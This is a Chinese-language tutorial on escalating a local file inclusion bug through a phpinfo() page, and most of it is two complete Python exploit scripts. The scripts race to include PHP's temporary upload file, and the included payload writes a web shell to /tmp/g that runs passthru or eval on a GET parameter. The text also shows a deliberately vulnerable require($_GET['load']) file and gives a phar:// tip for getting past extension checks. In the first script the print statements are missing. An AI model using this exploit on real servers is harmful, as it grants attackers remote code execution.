phpinfo LFI-本地临时文件包含
- 0x00概述
- 攻击条件1
- 攻击条件2
- 0x01 实验
- 0x02 代码及问题处理
- 源码整理:
- 提示
#利用
参考链接:
国外:https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
国内:https://www.angelwhu.com/paper/2016/06/13/phpinfo-lfi-upload-shell/#3-%E5%86%99python%E7%A8%8B%E5%BA%8F%E8%BF%9B%E8%A1%8C%E6%94%BB%E5%87%BB
普通文件包含 eg:证明 ---- 比如包含“/etc/passwd” 可进行getshell等操作
0x00概述
服务器上任意PHP脚本处理POST请求时,会在/tmp下生成临时文件,直到php页面完全处理完请求删除
● 临时文件的路径及名字是未知,路径也只能靠猜
● 临时文件的名字可以利用类似<>*?等通配符(我们暂且称其为通配符)匹配,也不一定能匹配成
● 同时N个人一起请求的话可能同时生成很多临时文件
所以
攻击条件1
存在----利用phpinfo()
攻击条件2
存在一个lfi漏洞php文件
当向任意php文件post请求上传数据时,可以直接在phpinfo页面找到临时文件的路径及名字
0x01 实验
- 用分块传输,增长数据长度来延迟响应时间。然后趁机去包含临时文件
● 目标机的/var/www/html下有phpinfo.php和1.php两个文件
phpinfo.php:
<?php
phpinfo();
?>
1.php
<?php
require($_GET['load']);
?>
● 可以用inotifywait命令来监控对tmp文件和目录的访问记录
inotifywait –m –r /tmp
0x02 代码及问题处理
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG = "Security Test"
PAYLOAD = """%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
REQ1_DATA = """-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding = "A" * 5000
REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """ + padding + """\r
HTTP_ACCEPT_LANGUAGE: """ + padding + """\r
HTTP_PRAGMA: """ + padding + """\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
# modify this to suit the LFI script
LFIREQ = """GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i + 17:i + 31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter = 0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter += 1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
"\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d += i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
"found %s at %i" % (d[i:i + 10], i)
# padded up a bit
return i + 256
def main():
"LFI With PHPInfo()"
"-=" * 30
if len(sys.argv) < 2:
"Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
"Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port = 80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
"Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz = 10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
"Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
"Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
"Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0, poolsz):
tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write("\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
"Woot! \m/"
else:
":("
except KeyboardInterrupt:
"\nTelling threads to shutdown..."
e.set()
"Shuttin' down..."
for t in tp:
t.join()
if __name__ == "__main__":
main()
HTTP请求问题
检查HTTP首部 POST Request “Accept-Encoding: gzip, deflate”返回的Response中内容部分都是gzip压缩 —删除
这样Response得到的就是未压缩
错误的组合了HTTP Header 重新组织GET Request 并注意回车换行符(CRLF)
(首部和主体之间是有一个回车换行符)
GET请求中,主体中是没有内容的,所有即使加上了内容,抓包的时候也不会显示出来。
多了一个回车换行符的情况
主体部分有内容的情况
Wireshark的数据包细节都是没有体现出来的(因为增加的部分不符合GET Request的要求?),
而在最下面的数据包字节(原始数据包)体现出来
源码整理:
#!/usr/bin/env python
# __author__ = 'ShadonSniper'
import sys
import threading
import socket
def setup(host, port):
TAG="Locale File Include Vulns!!!"
PAYLOAD="""%s\r\n<?php $c=fopen('/tmp/g.php','w');fwrite($c,'<?php eval($_GET["f"]);?>');?>\r\n""" % TAG
REQ1_DATA="""-----------------------------68124396905382484903242131\r\n"""+\
"""Content-Disposition: form-data; name="userfile"; filename="test.txt"\r\n"""+\
"""Content-Type: text/plain\r\n"""+"""\r\n"""+\
"""%s\r\n-----------------------------68124396905382484903242131--""" % PAYLOAD
padding="A" * 8000
REQ1="""POST /phpinfo.php?a=%s HTTP/1.1\r\n"""%padding
temp="""Host: %s\r\n"""%host
REQ1 = REQ1+temp
REQ1=REQ1+"""User-Agent: """+padding+"""\r\n"""+\
"""Accept: """+padding+"""\r\n"""+\
"""Accept-Language: """+padding+"""\r\n"""+\
"""Accept-Encoding: """+padding+"""\r\n"""+\
"""Connection: keep-alive\r\n"""+\
"""Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131\r\n"""
REQ1=REQ1+"""Content-Length: %s\r\n\r\n"""%(len(REQ1_DATA))
REQ1=REQ1+"""%s"""%REQ1_DATA
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?load=%s HTTP/1.1\r\n"""+\
"""Host: %s\r\n"""+\
"""User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1\r\n"""+\
"""Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"""+\
"""Accept-Language: en-US,en;q=0.5\r\n"""+\
"""Connection: keep-alive\r\n\r\n"""
#print REQ1
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
#print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
提示
● 限制后缀为php的文件,使用phar协议进行绕过
eg:
http://localhost/lfi/lfi.php?f=phar://phartest.aaa/shell.php